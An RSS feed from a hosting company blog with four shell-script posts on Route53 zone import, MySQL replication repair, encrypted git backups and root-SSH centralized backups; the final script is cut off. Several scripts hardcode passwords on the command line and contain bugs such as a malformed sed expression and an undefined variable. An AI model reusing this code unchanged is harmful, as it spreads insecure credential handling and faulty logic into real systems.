<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>*.hosting &#187; Shell Scripting</title>
	<atom:link href="http://www.stardothosting.com/blog/category/shell-scripting/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stardothosting.com/blog</link>
	<description>Star Dot Hosting : Technology, Security, Virtualization and Cloud Computing</description>
	<lastBuildDate>Fri, 03 Feb 2012 21:43:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Massive Amazon Route53 API Bind Zone Import Script</title>
		<link>http://www.stardothosting.com/blog/2012/02/03/massive-amazon-route53-api-bind-zone-import-script/</link>
		<comments>http://www.stardothosting.com/blog/2012/02/03/massive-amazon-route53-api-bind-zone-import-script/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 16:39:31 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Amazon API]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[route53]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[systems administration]]></category>
		<category><![CDATA[systems automation]]></category>

		<guid isPermaLink="false">http://www.stardothosting.com/blog/?p=491</guid>
		<description><![CDATA[Hello there, Occasionally some of our managed services work has us dealing directly with other cloud providers such as Amazon. One of our clients set a requirement to migrate over 5,000 domain&#8217;s to Amazon&#8217;s Route53 DNS service. There was little doubt that this could be automated, but since we have never done this massive of [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Hello there,</p>
<p>Occasionally some of our managed services work has us dealing directly with other cloud providers such as Amazon. One of our clients set a requirement to migrate over 5,000 domain&#8217;s to Amazon&#8217;s Route53 DNS service. </p>
<p>There was little doubt that this could be automated, but since we have never done this massive of a deployment through Amazon&#8217;s API directly, we thought it might be interesting to post the process as well as the script through which we managed the import process.</p>
<p>Essentially the script utilizes a master domain name list file as its basis for looping through the import. The master list refers to the bind zone files and imports them into Amazon&#8217;s Route53 via the Cli53 tool package.</p>
<p>One final note, the script outputs all completed domain imports into a CSV file with the following format :</p>
<pre>
domain.com,ns1.nameserver.com,ns2.nameserver.com,ns3.nameserver.com,ns4.nameserver.com
</pre>
<p>This is because when facilitating the actual nameserver change request, all the nameservers assigned to domains when imported to Route53 are randomly generated, so the script has to keep track of these nameserver/domain associations.</p>
<p>The script isn&#8217;t perfect and could benefit from some optimizations and more error checking (it does a lot of error checking already, however), but here it is in its entirety. We hope you will have some use for it!</p>
<pre>
#!/bin/sh
# Import all zone files into amazon
# Star Dot Hosting 2012
# www.stardothosting.com

currentmonth=`date "+%Y-%m-%d"`

#sanitize input and verify input was given
command=`echo "$1" | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'`

if [ -z "$1" ];
then
        echo "AWS ZONE IMPORT"
        echo "---------------"
        echo ""
        echo "Usage : ./importzone.sh file.txt"
        echo ""
        exit 0
fi

echo "zone import log : $currentmonth" > /var/log/importzone.log 2>&#038;1
echo " " >> /var/log/importzone.log 2>&#038;1

for obj0 in $(cat $1);
do
        echo "checking if $obj0 was already migrated ..."
        ls -la /usr/local/zones/$1-zones/complete | grep -w $obj0 >> /dev/null 2>&#038;1
        if [ "$?" -eq 1 ]
        then
        echo "importing $obj0 ..."

        #check if zone file has NS records
        cat /usr/local/zones/$1-zones/$obj0.txt | grep NS >> /dev/null 2>&#038;1
        if [ "$?" -eq 0 ]
        then
                echo "Nameserver exists, continuing..."
        else
                echo "Adding nameserver to record..."
                echo "$obj0. 43201 IN NS ns1.nameserver.com." >> /usr/local/zones/$1-zones/$obj0.txt
        fi

        #check if zone exists
        /usr/local/zones/cli53/bin/cli53 info $obj0 >> /var/log/importzone.log 2>&#038;1
        if [ "$?" -eq 0 ]
        then
                # grab NAMESERVERS
                nameservers=`/usr/local/zones/cli53/bin/cli53 rrlist $obj0 | grep "NS" | awk -F "NS\t" '{printf "%s\n", $2}' | sed 's/.$/g' | sed ':a;N;$!ba;s/\n/,/g'`
   # import zone file
                /usr/local/zones/cli53/bin/cli53 import $obj0 -r -f /usr/local/zones/$1-zones/$obj0.txt
                if [ "$?" -eq 0 ]
                then
                        #move to complete folder
                        mv /usr/local/zones/$1-zones/$obj0.txt /usr/local/zones/$1-zones/complete
                else
                        echo "There was an error in importing the zone file!" >> /var/log/importzone.log
                        exit 1
                fi
        else
                #create on route53
                /usr/local/zones/cli53/bin/cli53 create $obj0 >> /var/log/importzone.log 2>&#038;1
                # grab NAMESERVERS
                nameservers=`/usr/local/zones/cli53/bin/cli53 rrlist $obj0 | grep "NS" | awk -F "NS\t" '{printf "%s\n", $2}' | sed 's/.$/g' | sed ':a;N;$!ba;s/\n/,/g'`
                # import zone file
                /usr/local/zones/cli53/bin/cli53 import $obj0 -r -f /usr/local/zones/$1-zones/$obj0.txt
                if [ "$?" -eq 0 ]
                then
                        #move to complete folder
                        mv /usr/local/zones/$1-zones/$obj0.txt /usr/local/zones/$1-zones/complete
                else
                        echo "There was an error in importing the zone file!" >> /var/log/importzone.log
                        exit 1
                fi
        fi

        # output domain + nameservers in a CSV with format : domain.com,ns1,ns2,ns3,ns4
        echo "$obj0,$nameservers" >> nameserver_registrar_request.txt 2&#038;>1
        else
                echo "Domain already migrated .. !"
        fi
done
</pre>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;linkname=Massive%20Amazon%20Route53%20API%20Bind%20Zone%20Import%20Script" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;linkname=Massive%20Amazon%20Route53%20API%20Bind%20Zone%20Import%20Script" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;linkname=Massive%20Amazon%20Route53%20API%20Bind%20Zone%20Import%20Script" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;linkname=Massive%20Amazon%20Route53%20API%20Bind%20Zone%20Import%20Script" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F03%2Fmassive-amazon-route53-api-bind-zone-import-script%2F&amp;title=Massive%20Amazon%20Route53%20API%20Bind%20Zone%20Import%20Script" id="wpa2a_2"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2012/02/03/massive-amazon-route53-api-bind-zone-import-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Checking and repairing mysql replication automatically</title>
		<link>http://www.stardothosting.com/blog/2012/02/02/checking-and-repairing-mysql-replication-automatically/</link>
		<comments>http://www.stardothosting.com/blog/2012/02/02/checking-and-repairing-mysql-replication-automatically/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 17:15:02 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysql replication]]></category>
		<category><![CDATA[systems administration]]></category>

		<guid isPermaLink="false">http://www.stardothosting.com/blog/?p=486</guid>
		<description><![CDATA[Hello! MySQL replication has been known to easily break, as a result of a large multitude of potential causes. Sometimes the replication can even break if an erroneous query is executed on the master server. With all the potential issues that may break replication, we thought it prudent to write an automated check script that [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Hello!</p>
<p>MySQL replication has been known to easily break, as a result of a large multitude of potential causes.</p>
<p>Sometimes the replication can even break if an erroneous query is executed on the master server.</p>
<p>With all the potential issues that may break replication, we thought it prudent to write an automated check script that can run on a scheduled basis (i.e. every 10-15 minutes), check the Slave status, report on any errors if applicable and attempt to repair replication.</p>
<p>We have built this script to exit and send mail alerts if any step of the checking and repairing process fails or generates an error in itself.</p>
<p>The script also generates a lock file to ensure that no more than one check process can run at any given time. We feel this script could be best used for scenarios for remote MySQL slaves, for example. Adding this extra layer may ensure a more reliable replication. </p>
<p>The repair process is simply 3 MySQL Commands :</p>
<pre>
stop slave;
reset slave;
slave start;
</pre>
<p>The above directives assume that you have a master.info with the mysql master server information statically set. No CHANGE MASTER commands have to be executed as a result. Resetting the slave clears the error and resumes replication, and all the queries missed during the time it failed should be queued and applied after it starts again.</p>
<p>Here is the script : </p>
<pre>
#!/bin/sh
# Slave replication auto recovery and alert
# Star Dot Hosting 2012

currentmonth=`date "+%Y-%m-%d"`
lock_file=/tmp/slave_alert.lck

echo "MySQL Replication Check Script" > /var/log/replication_check.log 2>&#038;1
echo "------------------------------" >> /var/log/replication_check.log 2>&#038;1
echo "$currentmonth" >> /var/log/replication_check.log 2>&#038;1
echo "" >> /var/log/replication_check.log 2>&#038;1

# Check if lock file exists
if [ -f $lock_file ];
then
        echo "Lock file exists! Possible conflict!" >> /var/log/replication_check.log 2>&#038;1
        mail_alert
        exit 1
else
        touch $lock_file
fi

# Fix slave
function fix_replication () {
        mysql -u root --password="XXXXX" -Bse "stop slave" >> /var/log/replication_check.log 2>&#038;1
        if [ "$?" -eq 0 ];
        then
                echo "Stop slave succeeded..." >> /var/log/replication_check.log 2>&#038;1
        else
                echo "Slave recover function failed" >> /var/log/replication_check.log 2>&#038;1
                mail_alert
                exit 1
        fi
        mysql -u root --password="XXXXX" -Bse "reset slave" >> /var/log/replication_check.log 2>&#038;1
        if [ "$?" -eq 0 ];
        then
                echo "Reset slave succeeded..." >> /var/log/replication_check.log 2>&#038;1
        else
                echo "Slave recover function failed" >> /var/log/replication_check.log 2>&#038;1
                mail_alert

                exit 1
        fi
        mysql -u root --password="XXXXX" -Bse "slave start" >> /var/log/replication_check.log 2>&#038;1
        if [ "$?" -eq 0 ];
        then
                echo "Slave start succeeded." >> /var/log/replication_check.log 2>&#038;1
        else
                echo "Slave recover function failed" >> /var/log/replication_check.log 2>&#038;1
                mail_alert
                exit 1
        fi
}

# Alert function
function mail_alert () {
        cat /var/log/replication_check.log | mail -s "Replication check errors!" kkutzko@n49.com
}

# Check if Slave is running properly
Slave_IO_Running=`mysql -u root --password="XXXXX" -Bse "show slave status\G" | grep Slave_IO_Running | awk '{ print $2 }'`
Slave_SQL_Running=`mysql -u root --password="XXXXX" -Bse "show slave status\G" | grep Slave_SQL_Running | awk '{ print $2 }'`
Last_error=`mysql -u root --password="XXXXX" -Bse "show slave status\G" | grep Last_error | awk -F \: '{ print $2 }'`

# If no values are returned, slave is not running
if [ -z $Slave_IO_Running -o -z $Slave_SQL_Running ];
then
        echo "Replication is not configured or you do not have the required access to MySQL"
        exit 1
fi

# If everythings running, remove lockfile if it exists and exit
if [ $Slave_IO_Running == 'Yes' ] &#038;&#038; [ $Slave_SQL_Running == 'Yes' ];
then
        rm $lock_file
        echo "Replication slave is running" >> /var/log/replication_check.log 2>&#038;1
        echo "Removed Alert Lock" >> /var/log/replication_check.log 2>&#038;1
elif [ $Slave_SQL_Running == 'No' ] || [ $Slave_IO_Running == 'No' ];
then
        echo "SQL thread not running on server `hostname -s`!" >> /var/log/replication_check.log 2>&#038;1
        echo "Last Error:" $Last_error >> /var/log/replication_check.log 2>&#038;1
        fix_replication
        mail_alert
        rm $lock_file
fi

echo "Script complete!" >> /var/log/replication_check.log 2>&#038;1
exit 0
</pre>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;title=Checking%20and%20repairing%20mysql%20replication%20automatically" id="wpa2a_4"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2012/02/02/checking-and-repairing-mysql-replication-automatically/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backup, compress and encrpyt your git repository</title>
		<link>http://www.stardothosting.com/blog/2011/11/25/backup-compress-and-encrpyt-your-git-repository/</link>
		<comments>http://www.stardothosting.com/blog/2011/11/25/backup-compress-and-encrpyt-your-git-repository/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 17:45:57 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[GIT]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[git backup]]></category>
		<category><![CDATA[scripting]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=471</guid>
		<description><![CDATA[Greetings, I thought I&#8217;d share a quick script in the scope of backing up GIT repositories for the purposes of encrypted and compressed off-site backups. Unfortunately git does not have an equivalent of svnadmin dump or export, which can conveniently be piped to stdout. What the above scenario would do is shorten the amount of [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Greetings,</p>
<p>I thought I&#8217;d share a quick script in the scope of backing up GIT repositories for the purposes of encrypted and compressed off-site backups.</p>
<p>Unfortunately git does not have an equivalent of svnadmin dump or export, which can conveniently be piped to stdout.</p>
<p>What the above scenario would do is shorten the amount of commands a script would require in order to accomplish a similar task.</p>
<p>Find below a quick bash script that clones a repository, tar/gzip&#8217;s it, encrypts the archive and keeps 7 days worth of archive files :</p>
<pre>
#!/bin/sh
# GIT Backup script
# Written by Star Dot Hosting

todaysdate=`date "+%Y-%m-%d"`

#check command input
if [ -z "$1" ];
then
        echo "GIT BACKUP SCRIPT"
        echo "-----------------"
        echo ""
        echo "Usage : ./backup.sh reponame , i.e. yourdomain.git"
        echo ""
        exit 0
fi

echo "GIT Backup Log: " $currentmonth > /var/log/backup.log
echo -e "----------------------------------------" >> /var/log/backup.log
echo -e "" >> /var/log/backup.log

# Find and remove files older than 7 days
/usr/bin/find /data/git/git-backups -type f -mtime +7 -delete >> /var/log/backup.log 2>&#038;1

# Begin creating working directory to clone into
/bin/mkdir /data/git/git-backup/working >> /var/log/backup.log 2>&#038;1
/usr/bin/git clone /data/git/$1 /data/git/git-backup/working >> /var/log/backup.log 2>&#038;1

# Archive working directory into repo name encrpyted tar file
/bin/tar -czvf - /data/git/git-backup/working | /usr/bin/openssl enc -aes-256-cbc -pass pass:abcABC123 -e | dd of=/data/git/git-backup/$1.tar.gz.enc >> /var/log/backup.log 2>&#038;1

# Remove working directory
/bin/rm -rf /data/git/git-backup/working >> /var/log/backup.log 2>&#038;1
</pre>
<p>FYI if you ever needed to decrypt the openssl encrypted backup archive, the command below should do the job :</p>
<pre>
openssl aes-256-cbc -d -pass pass:abcABC123 -in $1.tar.gz.enc -out decrypted.tar.gz
</pre>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;linkname=Backup%2C%20compress%20and%20encrpyt%20your%20git%20repository" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;linkname=Backup%2C%20compress%20and%20encrpyt%20your%20git%20repository" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;linkname=Backup%2C%20compress%20and%20encrpyt%20your%20git%20repository" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;linkname=Backup%2C%20compress%20and%20encrpyt%20your%20git%20repository" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F11%2F25%2Fbackup-compress-and-encrpyt-your-git-repository%2F&amp;title=Backup%2C%20compress%20and%20encrpyt%20your%20git%20repository" id="wpa2a_6"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2011/11/25/backup-compress-and-encrpyt-your-git-repository/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Centralized remote backup script with SSH key authentication</title>
		<link>http://www.stardothosting.com/blog/2011/02/09/centralized-remote-backup-script-with-ssh-key-authentication/</link>
		<comments>http://www.stardothosting.com/blog/2011/02/09/centralized-remote-backup-script-with-ssh-key-authentication/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 20:26:39 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[centralized]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[systems administration]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=427</guid>
		<description><![CDATA[Greetings, It has been a while since we posted any useful tidbits for you , so we have decided to share one of our quick &#038; dirty centralized backup scripts. The script relies on ssh key based authentication, described here on this blog. It essentially parses a configuration file where each variable is separated by [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Greetings,</p>
<p>It has been a while since we posted any useful tidbits for you , so we have decided to share one of our quick &#038; dirty centralized backup scripts.</p>
<p>The script relies on ssh key based authentication, described <a href="http://blog.stardothosting.com/2009/12/07/script-to-distribute-ssh-keys-across-many-servers/">here</a> on this blog. It essentially parses a configuration file where each variable is separated by a comma and colon, as in the example config here :</p>
<pre>
hostname1,192.168.1.1,etc:var:root
hostname2,192.168.1.2,etc:var:root:usr
</pre>
<p>Note the intended backup directories in the 3rd variable, separated by colon&#8217;s. Simply populate the <b>backup-hosts.txt</b> config file (located in the same folder as the script) with all the hosts you want to be backed up. </p>
<p>The script then ssh&#8217;s to the intended host, and sends a tar -czf stream (securely) over ssh, to be output into the destination of your choice. Ideally you should centralize this script on a box that has direct access to alot of disk space.</p>
<p>Find the script here :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/bin/sh<br />
# Centralized Linux Backup Script<br />
# By Star Dot Hosting , www.stardothosting.com<br />
# Uses SSH Key based authentication and remote ssh commands to tar.gz folders to iSCSI storage<br />
<br />
<br />
todaysdate=`date &quot;+%Y-%m-%d %H:%M:%S&quot;`<br />
backupdest=&quot;/backups/linux-backups&quot;<br />
<br />
echo &quot;Centralized Linux Backup: &quot; $todaysdate &gt; /var/log/linux-backup.log<br />
echo -e &quot;----------------------------------------------&quot; &gt;&gt; /var/log/linux-backup.log<br />
echo -e &gt;&gt; /var/log/linux-backup.log<br />
<br />
<br />
for obj0 in $(cat /usr/local/bin/backup-hosts.txt | grep -v &quot;\#&quot; | awk -F &quot;,&quot; '{printf &quot;%s\n&quot;, $2}');<br />
do<br />
&nbsp; &nbsp; &nbsp; &nbsp; backupname=`cat /usr/local/bin/backup-hosts.txt | grep -v &quot;\#&quot; | grep $obj0 | awk -F &quot;,&quot; '{printf &quot;%s\n&quot;, $1}'`<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for obj1 in $(cat /usr/local/bin/backup-hosts.txt | grep -v &quot;\#&quot; | grep $obj0 | awk -F &quot;,&quot; '{printf &quot;%s\n&quot;, $3'} | awk '{gsub(&quot;:&quot;,&quot;\n&quot;);printf&quot;%s&quot;, $<br />
0}');<br />
&nbsp; &nbsp; &nbsp; &nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo -e &quot;backing up $obj0 with $obj1 directory&quot; &gt;&gt; /var/log/linux-backup.log<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ssh -l root $obj0 &quot;(cd /$obj1/ &amp;&amp; tar -czf - . -C /$obj1)&quot; &gt;&gt; $backupdest/$backupname.$obj1.tar.gz 2&gt;&amp;1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ &quot;$?&quot; -eq 1 ]<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo -e &quot;There were some errors while backing up $obj0 / $backupname within the $obj1 directory&quot; &gt;&gt; /var/log/linux-backup.log<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #exit 1<br />
